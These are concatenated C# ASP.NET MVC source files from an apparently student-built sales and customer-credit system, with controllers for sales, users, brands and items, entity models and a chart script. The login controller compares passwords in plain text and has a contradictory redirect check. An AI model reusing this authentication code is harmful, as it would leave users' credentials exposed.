// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Venda venda)
{
var itensVenda = (List<ItemVenda>)Session["ListaItens"];
if(!this.ValidaCreditosCliente(venda))
{
ViewBag.Clientes = new SelectList(db.Cliente, "id", "nome", venda.clienteId);
@ViewBag.Erro = "O valor de lacamento de creditos de desconto do cliente e maior que o saldo disponivel para o mesmo!";
return View(venda);
}
if (itensVenda != null && itensVenda.Count() != 0)
{
if (ModelState.IsValid)
{
venda.ConfigurarParaSalvar();
db.Venda.Add(venda);
db.SaveChanges();
this.SalvarItens(venda, itensVenda);
this.GeraTransacoesSaida(venda);
this.DescontaQuantidade(itensVenda);
return RedirectToAction("Index");
}
}
else
{
ViewBag.Clientes = new SelectList(db.Cliente, "id", "nome", venda.clienteId);
@ViewBag.Erro = "Nao e possivel encerrar o registro de venda sem o lancamento de pelo menos um item!";
}
return View(venda);
}
public void DescontaQuantidade(List<ItemVenda> lista)
{
ExemplaresController exemplares = new ExemplaresController();
exemplares.DescontaQuantidade(lista);
}
public void GeraTransacoesSaida(Venda venda)
{
var cliente = db.Cliente.Find(venda.clienteId);
if(cliente != null)
{
cliente.AtualizaSaidaSaldoEspecial(venda.creditoEspecial);
cliente.AtualizaSaidaSaldoParcial(venda.creditoParcial);
}
}
public bool ValidaCreditosCliente(Venda venda)
{
var cliente = db.Cliente.Find(venda.clienteId);
if ((venda.creditoEspecial > cliente.saldoCreditoEspecial) || venda.creditoParcial > cliente.saldoCreditoParcial)
return false;
else
return true;
}
public void SalvarItens(Venda venda, List<ItemVenda> lista)
{
foreach(ItemVenda item in lista)
{
item.vendaId = venda.id;
item.venda = venda;
db.ItemVenda.Add(item);
db.SaveChanges();
}
}
public ActionResult Exportar()
{
List<Venda> venda = new List<Venda>();
venda = db.Venda.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Vendas.rpt"));
rd.SetDataSource(venda);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Vendas.pdf");
}
// GET: Vendas/Edit/5
public ActionResult Details(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Venda venda = db.Venda.Find(id);
if (venda == null)
{
return HttpNotFound();
}
ViewBag.Clientes = new SelectList(db.Cliente, "id", "nome", venda.clienteId);
this.CarregaLista(venda);
return View(venda);
}
public void CarregaLista(Venda venda)
{
listaItens = db.ItemVenda.Where(e => e.vendaId == venda.id).OrderBy(e => e.indice).ToList();
foreach(ItemVenda itemVenda in listaItens)
{
var item = db.Item.Find(itemVenda.itemId);
itemVenda.item.nome = item.nome;
itemVenda.item.precoVenda = item.precoVenda;
}
Session["ListaItens"] = listaItens;
venda.itensVenda = listaItens;
}
// POST: Vendas/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Venda venda)
{
if (ModelState.IsValid)
{
var itensVenda = (List<ItemVenda>)Session["ListaItens"];
venda.ConfigurarParaSalvar();
db.Entry(venda).State = EntityState.Modified;
this.SalvarEditarItens(venda, itensVenda);
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.Clientes = new SelectList(db.Cliente, "id", "nome", venda.clienteId);
//this.ConfiguraNomeCliente(venda);
return View(venda);
}
public void SalvarEditarItens(Venda venda, List<ItemVenda> lista)
{
foreach (ItemVenda item in lista)
{
item.vendaId = venda.id;
item.venda = venda;
db.Entry(item).State = EntityState.Modified;
db.SaveChanges();
}
}
// GET: Vendas/Delete/5
public ActionResult Delete(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Venda venda = db.Venda.Find(id);
if (venda == null)
{
return HttpNotFound();
}
return View(venda);
}
// POST: Vendas/Delete/5
[HttpPost, ActionName("Delete")]
[ValidateAntiForgeryToken]
public ActionResult DeleteConfirmed(int id)
{
Venda venda = db.Venda.Find(id);
db.Venda.Remove(venda);
db.SaveChanges();
return RedirectToAction("Index");
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
//------------------------------------------------------
private List<ItemVenda> listaItens = new List<ItemVenda>();
public ActionResult ListarItens()
{
return PartialView("ListarItens", listaItens);
}
public void IncializarLista()
{
List<ItemVenda> listaItens = new List<ItemVenda>();
Session["ListaItens"] = listaItens;
}
public List<ItemVenda> RecuperarLista()
{
listaItens = (List<ItemVenda>)Session["ListaItens"];
if (listaItens == null)
{
listaItens = new List<ItemVenda>();
}
return listaItens;
}
public List<ItemVenda> InsereLista(ItemVenda item)
{
listaItens = this.RecuperarLista();
listaItens.Add(item);
this.AtualizaIndiceItem(listaItens);
Session["ListaItens"] = listaItens;
return listaItens;
}
public void AtualizaIndiceItem(List<ItemVenda> lista)
{
for (int i = 0; i < lista.Count; i++)
{
lista[i].indice = i + 1;
}
}
[HttpGet]
public ActionResult AdicionarItem(int id)
{
var item = db.Item.Find(id);
ItemVenda itemVenda = new ItemVenda();
itemVenda.item = item;
itemVenda.precoTotal = itemVenda.item.precoVenda * itemVenda.quantidade;
this.InsereLista(itemVenda);
return PartialView("ListarItens", listaItens);
}
[HttpGet]
public ActionResult EditarItem(int indice, int quantidade)
{
listaItens = this.RecuperarLista();
listaItens[indice - 1].quantidade = quantidade;
listaItens[indice - 1].precoTotal = listaItens[indice - 1].item.precoVenda * listaItens[indice - 1].quantidade;
Session["ListaItens"] = listaItens;
return PartialView("ListarItens", listaItens);
}
[HttpGet]
public ActionResult RemoverItem(int indice)
{
listaItens = this.RecuperarLista();
listaItens.RemoveAt(indice - 1);
this.AtualizaIndiceItem(listaItens);
Session["ListaItens"] = listaItens;
return PartialView("ListarItens", listaItens);
}
[HttpGet]
public JsonResult QuantidadeMaiorQueEstoque(int id)
{
int quantidadeItem = 0;
bool resultado;
var item = db.Item.Find(id);
listaItens = this.RecuperarLista();
foreach (ItemVenda itemVenda in listaItens)
{
if (item.id == itemVenda.item.id)
{
quantidadeItem += itemVenda.quantidade;
}
}
if (quantidadeItem >= item.quantidadeEstoque)
{
resultado = true;
}
else
{
resultado = false;
}
var obj = new
{
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
[HttpGet]
public JsonResult VerificaQuantidadeItem(int indice, int quantidade)
{
int quantidadeItem = 0;
bool resultado;
listaItens = this.RecuperarLista();
var item = listaItens[indice - 1].item;
listaItens[indice - 1].quantidade = quantidade;
foreach (ItemVenda itemVenda in listaItens)
{
if (item.id == itemVenda.item.id)
{
quantidadeItem += itemVenda.quantidade;
}
}
if (quantidadeItem > item.quantidadeEstoque)
{
resultado = true;
}
else
{
resultado = false;
}
var obj = new
{
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Item item = db.Item.Find(id);
if (item == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
sucesso = true;
resultado = item.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
[HttpPost]
public JsonResult DropboxItens(string item)
{
var listaItens = db.Item.Where(i => i.nome.Contains(item) || i.id.Equals(item)).ToList();
return Json(listaItens, "text/html", JsonRequestBehavior.AllowGet);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class UsuariosController : Controller
{
private Contexto db = new Contexto();
// GET: Usuarios
public ActionResult Index()
{
return View(db.Usuarios.ToList());
}
[HttpPost]
public ActionResult Index(string pesquisar)
{
return View("Index", db.Usuarios.Where(c => c.nome.Contains(pesquisar)).ToList().OrderBy(i => i.nome));
}
public ActionResult Exportar()
{
List<Usuario> usuario = new List<Usuario>();
usuario = db.Usuarios.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Usuario.rpt"));
rd.SetDataSource(usuario);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Usuario.pdf");
}
// GET: Usuarios/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Usuario usuario = db.Usuarios.Find(id);
if (usuario == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
sucesso = true;
resultado = usuario.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Usuarios/Create
public ActionResult Create()
{
return View();
}
private bool VerificaJaExiste(Usuario usuario)
{
List<Usuario> resultado = new List<Usuario>();
resultado = db.Usuarios.Where(e => e.email.Equals(usuario.email)).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
// POST: Usuarios/Create
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Usuario usuario)
{
if (ModelState.IsValid)
{
usuario.nome = usuario.nome.ToUpper();
usuario.sobrenome = usuario.sobrenome.ToUpper();
if (VerificaJaExiste(usuario))
{
ViewBag.Erro = "Já existe um registro com o e-mail informado!";
return View(usuario);
}
usuario.ConfigurarParaSalvar();
db.Usuarios.Add(usuario);
db.SaveChanges();
return RedirectToAction("Index");
}
return View(usuario);
}
// GET: Usuarios/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Usuario usuario = db.Usuarios.Find(id);
if (usuario == null)
{
return HttpNotFound();
}
return View(usuario);
}
// POST: Usuarios/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Usuario usuario)
{
if (ModelState.IsValid)
{
usuario.ConfigurarParaSalvar();
db.Entry(usuario).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
return View(usuario);
}
// GET: Usuarios/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Usuario usuario = db.Usuarios.Find(id);
db.Usuarios.Remove(usuario);
db.SaveChanges();
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}<file_sep>using Finis.Controllers;
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public enum situacaoAvaliacao
{
[Display(Name = "Aguardando avaliação")]
AGUARDANDO_AVALIACAO = 1,
[Display(Name = "Avaliado")]
AVALIADO = 2,
[Display(Name = "Aguardando retorno do cliente")]
AGUARDANDO_CLIENTE = 3,
[Display(Name = "Finalizada")]
FINALIZADA = 4
}
public enum statusAvaliacao
{
[Display(Name = "Aberta")]
ABERTA = 1,
[Display(Name = "Cancelada")]
CANCELADA = 2,
[Display(Name = "Concluída")]
CONCLUIDA = 3,
}
public class Avaliacao : EntidadeAbstrata
{
public Avaliacao()
{
this.status = statusAvaliacao.ABERTA;
}
[Display(Name = "Data de entrada")]
[DisplayFormat(DataFormatString = "{0:dd/MM/yyyy}")]
[Required(ErrorMessage = "Por favor insira uma data")]
public DateTime dataEntrada { get; set; }
[Display(Name = "Quantidade de exemplares")]
[Required(ErrorMessage = "Por favor insira um número")]
[DisplayFormat(DataFormatString = "{0}",
ApplyFormatInEditMode = true,
NullDisplayText = "Nenhum")]
[Range(1, 5000, ErrorMessage = "A quantidade deverá ser entre 1 e 5000")]
public int quantidadeExemplares { get; set; }
[Display(Name = "Crédito especial")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public Nullable<decimal> creditoEspecial { get; set; }
[Display(Name = "Crédito parcial")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public Nullable<decimal> creditoParcial { get; set; }
[Display(Name = "Situação")]
[Required(ErrorMessage = "Por favor selecione uma opção")]
public situacaoAvaliacao situacao { get; set; }
[Display(Name = "Status")]
public statusAvaliacao status { get; set; }
[Display(Name = "Observação")]
[StringLength(200, ErrorMessage = "A observacao é muito longa")]
[DataType(DataType.MultilineText)]
public string observacao { get; set; }
[NotMapped]
[Display(Name = "Cliente")]
[Required(ErrorMessage = "Por favor selecione um cliente")]
public string clienteNome { get; set; }
[Display(Name = "Cliente")]
[Required(ErrorMessage = "Por favor selecione um cliente")]
public int? clienteId { get; set; }
[ForeignKey("clienteId")]
public virtual Cliente cliente { get; set; }
[NotMapped]
public string creditoEspecialString => this.creditoEspecial == null ? "Sem valor" : string.Format("{0:C}", this.creditoEspecial.Value);
[NotMapped]
public string creditoParcialString => this.creditoParcial == null ? "Sem valor" : string.Format("{0:C}", this.creditoParcial.Value);
[NotMapped]
public string dataEntradaString
{
get
{
return this.dataEntrada.ToString("dd/MM/yyyy");
}
set
{
this.dataEntrada = Convert.ToDateTime(value).Date;
}
}
[NotMapped]
public String statusString
{
get
{
if (this.status == statusAvaliacao.ABERTA)
return "Aberta";
else if (this.status == statusAvaliacao.CANCELADA)
return "Cancelada";
else if (this.status == statusAvaliacao.CONCLUIDA)
return "Concluída";
else return "";
}
}
[NotMapped]
public String situacaoString
{
get
{
if (situacao == situacaoAvaliacao.AGUARDANDO_AVALIACAO)
return "Aguardando avaliação";
else if (situacao == situacaoAvaliacao.AVALIADO)
return "Avaliado";
else if (situacao == situacaoAvaliacao.AGUARDANDO_CLIENTE)
return "Aguardando retorno do cliente";
else if (situacao == situacaoAvaliacao.FINALIZADA)
return "Finalizada";
else return "";
}
}
public void Avaliar()
{
this.situacao = situacaoAvaliacao.AVALIADO;
}
public void ConcluirAvaliacao()
{
if(this.creditoEspecial != 0)
{
ClientesController clientesController = new ClientesController();
clientesController.AtualizaSaldoEspecial(this.clienteId, this.creditoEspecial);
}
if(this.creditoParcial != 0)
{
ClientesController clientesController = new ClientesController();
clientesController.AtualizaSaldoParcial(this.clienteId, this.creditoParcial);
}
this.status = statusAvaliacao.CONCLUIDA;
}
public void CancelarAvaliacao()
{
this.status = statusAvaliacao.CANCELADA;
}
}
}<file_sep>namespace br.com.Sistema.uml.classes de entidades
{
public enum TipoTransacao
{
ENTRADA,
SAIDA,
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class MarcasController : Controller
{
private Contexto db = new Contexto();
// GET: Marcas
public ActionResult Index()
{
return View(db.Marca.ToList().OrderBy(m => m.nome));
}
[HttpPost]
public ActionResult Index(string pesquisar)
{
return View("Index", db.Marca.Where(c => c.nome.Contains(pesquisar)).ToList());
}
public ActionResult Exportar()
{
List<Marca> marca = new List<Marca>();
marca = db.Marca.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Marcas.rpt"));
rd.SetDataSource(marca);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Marcas.pdf");
}
// GET: Marcas/Details/5
public ActionResult Details(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Marca marca = db.Marca.Find(id);
if (marca == null)
{
return HttpNotFound();
}
return View(marca);
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Marca marca = db.Marca.Find(id);
if (marca == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
sucesso = true;
resultado = marca.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Marcas/Create
public ActionResult Create()
{
return View();
}
private bool VerificaJaExiste(Marca marca)
{
List<Marca> resultado = new List<Marca>();
resultado = db.Marca.Where(p => p.nome == marca.nome).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
// POST: Marcas/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Marca model)
{
if (ModelState.IsValid)
{
model.nome = model.nome.ToUpper();
if (VerificaJaExiste(model))
{
ViewBag.Erro = "Ja existe um registro com os valores informados!";
return View(model);
}
model.ConfigurarParaSalvar();
db.Marca.Add(model);
db.SaveChanges();
return RedirectToAction("Index");
}
return View(model);
}
// GET: Marcas/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Marca marca = db.Marca.Find(id);
if (marca == null)
{
return HttpNotFound();
}
return View(marca);
}
// POST: Marcas/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Marca marca)
{
if (ModelState.IsValid)
{
marca.nome = marca.nome.ToUpper();
marca.ConfigurarParaSalvar();
db.Entry(marca).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
return View(marca);
}
// GET: Marcas/Delete/5
public ActionResult Delete(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Marca marca = db.Marca.Find(id);
if (marca == null)
{
return HttpNotFound();
}
return View(marca);
}
// POST: Marcas/Delete/5
[HttpPost, ActionName("Delete")]
[ValidateAntiForgeryToken]
public ActionResult DeleteConfirmed(int id)
{
Marca marca = db.Marca.Find(id);
db.Marca.Remove(marca);
db.SaveChanges();
return RedirectToAction("Index");
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Marca model = db.Marca.Find(id);
db.Marca.Remove(model);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public class Pais : EntidadeAbstrata
{
public Pais()
{
}
[Display(Name = "Nome do país")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(30, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
[Display(Name = "Sigla")]
[Required(ErrorMessage = "Por favor insira uma sigla")]
[StringLength(3, ErrorMessage = "O tamanho máximo é de 3 caracteres")]
public string sigla { get; set; }
}
public class Estado : EntidadeAbstrata
{
public Estado()
{
//this.pais = new Pais();
}
[Display(Name = "Nome do estado")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(30, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
[Display(Name = "Sigla")]
[Required(ErrorMessage = "Por favor insira uma sigla")]
[StringLength(2, ErrorMessage = "O tamanho máximo é de 2 caracteres")]
public string sigla { get; set; }
[NotMapped]
[Display(Name = "País")]
[Required(ErrorMessage = "Por favor selecione um país")]
public string paisNome { get; set; }
[Display(Name = "País")]
[Required(ErrorMessage = "Por favor selecione um país")]
public int paisId { get; set; }
[ForeignKey("paisId")]
public virtual Pais pais { get; set; }
}
public class Cidade : EntidadeAbstrata
{
public Cidade()
{
//this.estado = new Estado();
}
[Display(Name = "Nome da cidade")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(30, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
[NotMapped]
[Display(Name = "Estado")]
[Required(ErrorMessage = "Por favor selecione um estado")]
public string estadoNome { get; set; }
[Display(Name = "Estado")]
[Required(ErrorMessage = "Por favor selecione um estado")]
public int estadoId { get; set; }
[ForeignKey("estadoId")]
public virtual Estado estado { get; set; }
}
public class Endereco : EntidadeAbstrata
{
public Endereco()
{
//this.cidade = new Cidade();
}
[Display(Name = "Logradouro")]
//[Required(ErrorMessage = "Por favor insira um logradouro")]
[StringLength(30, ErrorMessage = "O nome é muito longo")]
public string logradouro { get; set; }
[Display(Name = "Número")]
[Required(ErrorMessage = "Por favor insira um número")]
public int numero { get; set; }
[Display(Name = "Complemento")]
[StringLength(30, ErrorMessage = "O nome é muito longo")]
public string complemento { get; set; }
[Display(Name = "Bairro")]
[StringLength(20, ErrorMessage = "O nome é muito longo")]
//[Required(ErrorMessage = "Por favor insira um bairro")]
public string bairro { get; set; }
[Display(Name = "CEP")]
public int cep { get; set; }
[NotMapped]
[Display(Name = "Cidade")]
//[Required(ErrorMessage = "Por favor selecione uma cidade")]
public string cidadeNome { get; set; }
[Display(Name = "Cidade")]
//[Required(ErrorMessage = "Por favor selecione uma cidade")]
public int? cidadeId { get; set; }
[ForeignKey("cidadeId")]
public virtual Cidade cidade { get; set; }
}
}<file_sep>using Finis.DAL;
using Finis.Models;
using System.Linq;
using System.Web.Mvc;
using System.Web.Security;
namespace Finis.Controllers
{
public class AccountController : Controller
{
// GET: Account
/// <param name="returnURL"></param>
/// <returns></returns>
public ActionResult Login(string returnURL)
{
ViewBag.ReturnUrl = returnURL;
return View(new Usuario());
}
/// <param name="login"></param>
/// <param name="returnUrl"></param>
/// <returns></returns>
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Login(Usuario login, string returnUrl)
{
//if (ModelState.IsValid)
//{
using (Contexto db = new Contexto())
{
var vLogin = db.Usuarios.Where(p => p.email.Equals(login.email)).FirstOrDefault();
/*Verificar se a variavel vLogin está vazia. Isso pode ocorrer caso o usuário não existe.
Caso não exista ele vai cair na condição else.*/
if (vLogin != null)
{
/*Código abaixo verifica se o usuário que retornou na variavel tem está
ativo. Caso não esteja cai direto no else*/
if (vLogin.ativo) //Equals(vLogin.ativo, "S")
{
/*Código abaixo verifica se a senha digitada no site é igual a senha que está sendo retornada
do banco. Caso não cai direto no else*/
if (Equals(vLogin.senha, login.senha))
{
FormsAuthentication.SetAuthCookie(vLogin.email, false);
if (Url.IsLocalUrl(returnUrl)
&& returnUrl.Length > 1
&& returnUrl.StartsWith("/")
&& !returnUrl.StartsWith("//")
&& returnUrl.StartsWith("/\\"))
{
return Redirect(returnUrl);
}
/*código abaixo cria uma session para armazenar o nome do usuário*/
Session["Nome"] = vLogin.nome;
/*código abaixo cria uma session para armazenar o sobrenome do usuário*/
Session["Sobrenome"] = vLogin.sobrenome;
/*retorna para a tela inicial do Home*/
return RedirectToAction("Index", "Home");
}
/*Else responsável da validação da senha*/
else
{
/*Escreve na tela a mensagem de erro informada*/
ModelState.AddModelError("", "Senha inválida!");
/*Retorna a tela de login*/
return View(new Usuario());
}
}
/*Else responsável por verificar se o usuário está ativo*/
else
{
/*Escreve na tela a mensagem de erro informada*/
ModelState.AddModelError("", "Usuário sem acesso ao sistema!");
/*Retorna a tela de login*/
return View(new Usuario());
}
}
/*Else responsável por verificar se o usuário existe*/
else
{
/*Escreve na tela a mensagem de erro informada*/
ModelState.AddModelError("", "E-mail não cadastrado!");
/*Retorna a tela de login*/
return View(new Usuario());
}
}
//}
/*Caso os campos não esteja de acordo com a solicitação retorna a tela de login com as mensagem dos campos*/
//return View(login);
}
public ActionResult LogOff()
{
Request.Cookies.Remove(User.Identity.Name);
FormsAuthentication.SignOut();
return RedirectToAction("Login");
}
}
}<file_sep>using Finis.DAL;
using Finis.Models;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace Finis.Controllers
{
public class ItensVendaController : Controller
{
private Contexto db = new Contexto();
private List<ItemVenda> listaItens = new List<ItemVenda>();
public ActionResult ListarItens()
{
return PartialView("ListarItens", listaItens);
}
public void IncializarLista()
{
List<ItemVenda> listaItens = new List<ItemVenda>();
Session["ListaItens"] = listaItens;
}
public List<ItemVenda> RecuperarLista()
{
listaItens = (List<ItemVenda>)Session["ListaItens"];
if(listaItens == null)
{
listaItens = new List<ItemVenda>();
}
return listaItens;
}
public List<ItemVenda> InsereLista(ItemVenda item)
{
listaItens = this.RecuperarLista();
listaItens.Add(item);
this.AtualizaIndiceItem(listaItens);
Session["ListaItens"] = listaItens;
return listaItens;
}
public void AtualizaIndiceItem(List<ItemVenda> lista)
{
for(int i = 0; i < lista.Count; i++)
{
lista[i].indice = i+1;
}
}
[HttpGet]
public ActionResult AdicionarItem(int id)
{
var item = db.Item.Find(id);
ItemVenda itemVenda = new ItemVenda();
itemVenda.item = item;
itemVenda.precoTotal = itemVenda.item.precoVenda * itemVenda.quantidade;
this.InsereLista(itemVenda);
return PartialView("ListarItens", listaItens);
}
[HttpGet]
public ActionResult EditarItem(int indice, int quantidade)
{
listaItens = this.RecuperarLista();
listaItens[indice - 1].quantidade = quantidade;
listaItens[indice - 1].precoTotal = listaItens[indice - 1].item.precoVenda * listaItens[indice - 1].quantidade;
Session["ListaItens"] = listaItens;
return PartialView("ListarItens", listaItens);
}
[HttpGet]
public ActionResult RemoverItem(int indice)
{
listaItens = this.RecuperarLista();
listaItens.RemoveAt(indice - 1);
this.AtualizaIndiceItem(listaItens);
Session["ListaItens"] = listaItens;
return PartialView("ListarItens", listaItens);
}
[HttpGet]
public JsonResult QuantidadeMaiorQueEstoque(int id)
{
int quantidadeItem = 0;
bool resultado;
var item = db.Item.Find(id);
listaItens = this.RecuperarLista();
foreach (ItemVenda itemVenda in listaItens)
{
if (item.id == itemVenda.item.id)
{
quantidadeItem += itemVenda.quantidade;
}
}
if(quantidadeItem >= item.quantidadeEstoque)
{
resultado = true;
}
else
{
resultado = false;
}
var obj = new
{
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
[HttpGet]
public JsonResult VerificaQuantidadeItem(int indice, int quantidade)
{
int quantidadeItem = 0;
bool resultado;
listaItens = this.RecuperarLista();
var item = listaItens[indice - 1].item;
listaItens[indice - 1].quantidade = quantidade;
foreach (ItemVenda itemVenda in listaItens)
{
if (item.id == itemVenda.item.id)
{
quantidadeItem += itemVenda.quantidade;
}
}
if (quantidadeItem > item.quantidadeEstoque)
{
resultado = true;
}
else
{
resultado = false;
}
var obj = new
{
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Item item = db.Item.Find(id);
if (item == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
sucesso = true;
resultado = item.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
[HttpPost]
public JsonResult DropboxItens (string item)
{
var listaItens = db.Item.Where(i => i.nome.Contains(item) || i.id.Equals(item)).ToList();
return Json(listaItens, "text/html", JsonRequestBehavior.AllowGet);
}
}
}<file_sep>google.charts.load('current', { 'packages': ['bar'] });
google.charts.setOnLoadCallback(drawChartBarras);
function drawChartBarras() {
var data = google.visualization.arrayToDataTable([
['Mês', 'Entradas', 'Saídas'],
['Novembro', 345, 198],
['Outubro', 1170, 460],
['Setembro', 660, 1120],
['Agosto', 1030, 540],
['Julho', 300, 890],
['Junho', 1030, 456],
['Maio', 1030, 670],
['Abril', 630, 240],
['Março', 980, 346],
['Fevereiro', 760, 945],
['Janeiro', 456, 740],
['Dezembro', 879, 440],
['Novembro', 1002, 640]
]);
var options = {
chart: {
title: 'Transações nos últimos 12 meses',
subtitle: 'Entradas e saídas de créditos',
}
};
var chart = new google.charts.Bar(document.getElementById('columnchart_material'));
chart.draw(data, google.charts.Bar.convertOptions(options));
}
google.charts.load("current", { packages: ["corechart"] });
google.charts.setOnLoadCallback(drawChartRosca);
function drawChartRosca() {
var data = google.visualization.arrayToDataTable([
['Situação', 'Situação'],
['Aguardando avaliação', 3],
['Avaliado', 12],
['Aguardando cliente', 7],
['Concluído', 2],
['Canceladas', 3]
]);
var options = {
title: 'Situação das avaliações',
pieHole: 0.4,
};
var chart = new google.visualization.PieChart(document.getElementById('donutchart'));
chart.draw(data, options);
}
google.charts.load('current', { 'packages': ['corechart'] });
